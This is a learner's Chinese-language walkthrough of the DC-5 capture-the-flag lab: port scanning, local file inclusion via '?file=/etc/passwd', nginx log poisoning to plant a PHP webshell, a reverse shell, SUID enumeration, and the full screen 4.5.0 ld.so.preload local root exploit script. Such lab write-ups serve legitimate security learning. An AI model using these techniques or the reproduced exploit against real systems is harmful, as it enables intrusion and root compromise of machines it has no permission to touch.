小白的学习记录,出错的地方还请谅解并指出
- 老规矩扫描存活主机
- nmap继续探测端口信息,发现开放80,111端口
- 访问网页,一堆的英文,看了一下内容发现没有什么用,只有Contact页面有几个输入点,尝试了一下有没有sql注入点,返回没有报错还thankyou
- 根据dc5的描述,存在随着页面刷新而改变的东西。
- 然后就多刷新几次,发现底下年份会改变
- 2019变成了2018
- 直接上dirbuster扫一下后台,御剑不好用半天出不来
- 发现了footer.php,如果是动态包含的路径就可能存在:本地文件包含(LFI)漏洞。一般文件包含的参数常见的有 include, require, page ,file, f等等。我这里用burp遍历一下变量名
- 尝试一下包含网站目录外部的文件
后面加上?file=/etc/passwd
- 成功了,由之前nmap的探测信息得知服务为nginx。那就接着尝试包含nginx的日志文件。先用get写入phpinfo()试探一下
- 成功写入了,证明存在漏洞,那就写入一句话木马拿shell
- 第一次尝试:burp中重做后发出
- 再查看日志,发现成功被写入
- 接着尝试连接,这次是第一次用哥斯拉(都说他很好用,跟跟风)结果碰壁了。试了几次还不行就放弃这个了。
- 第二次尝试:还是拿出顺手的蚁剑,老规矩先写一句话木马
- 然后连接成功
- 进入网站目录康康
- 蚁剑的虚拟终端操作不方便,我这里就反弹给kali本地
- 反弹成功之后升级一下交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
- 首先测试一下能否suid提权
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 按指定权限搜索
-u=s 中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。
-tpye 搜索指定的类型,f代表文件。
-exec 搜索完后执行指定的命令,{}代表所搜到的结果,命令以分号为结束标识。
2>/dev/null 不显示错误信息,
- 发现了一个比较特殊的文件 screen-4.5.0,其他文件比较常见,应该是不能提权的。那就用searchsploit搜索一下这个比较特殊的文件。
- 复制下来查看一下
- 本来以为能直接用,就准备用ftp传过去
- 创个账号
把文件移过来再加个权限
- 然后登陆成功之后就传过去直接用了
- 然后又碰壁了-_-太草率了。这个时候只能回去再看看源代码,修改一下再跑
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
- 通过分析,应该对以上代码分三分 先把上面一部分c语言代码单独复制出来,在编译完成后将libhax.c文件删除
- 把下面一个c语言代码也单独复制出来,按他要求的取文件名为rootshell.c,然后进行编译操作,之后再删了他。
- 将剩下部分命名为dc5,但是需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了确定为linux文件格式,防止脚本的格式错误。
- 这样就准备好了三份文件,准备把这三个文件上传给靶机,进行最后的提权了
上传的四种方法:
1.用scp:如下
2.用nc,分别在靶机和kali端输入如图命令,不过要分三次有些麻烦
3.将文件复制到本地网站上,开启apache服务。再在靶机端用wget下载,不过也麻烦也要分次。
4.我用的第四种,直接蚁剑一次性传上去。图形化多方便
- 然后就切换到/tmp目录下,赋予运行脚本最高权限再执行
- 最终得到flag!!!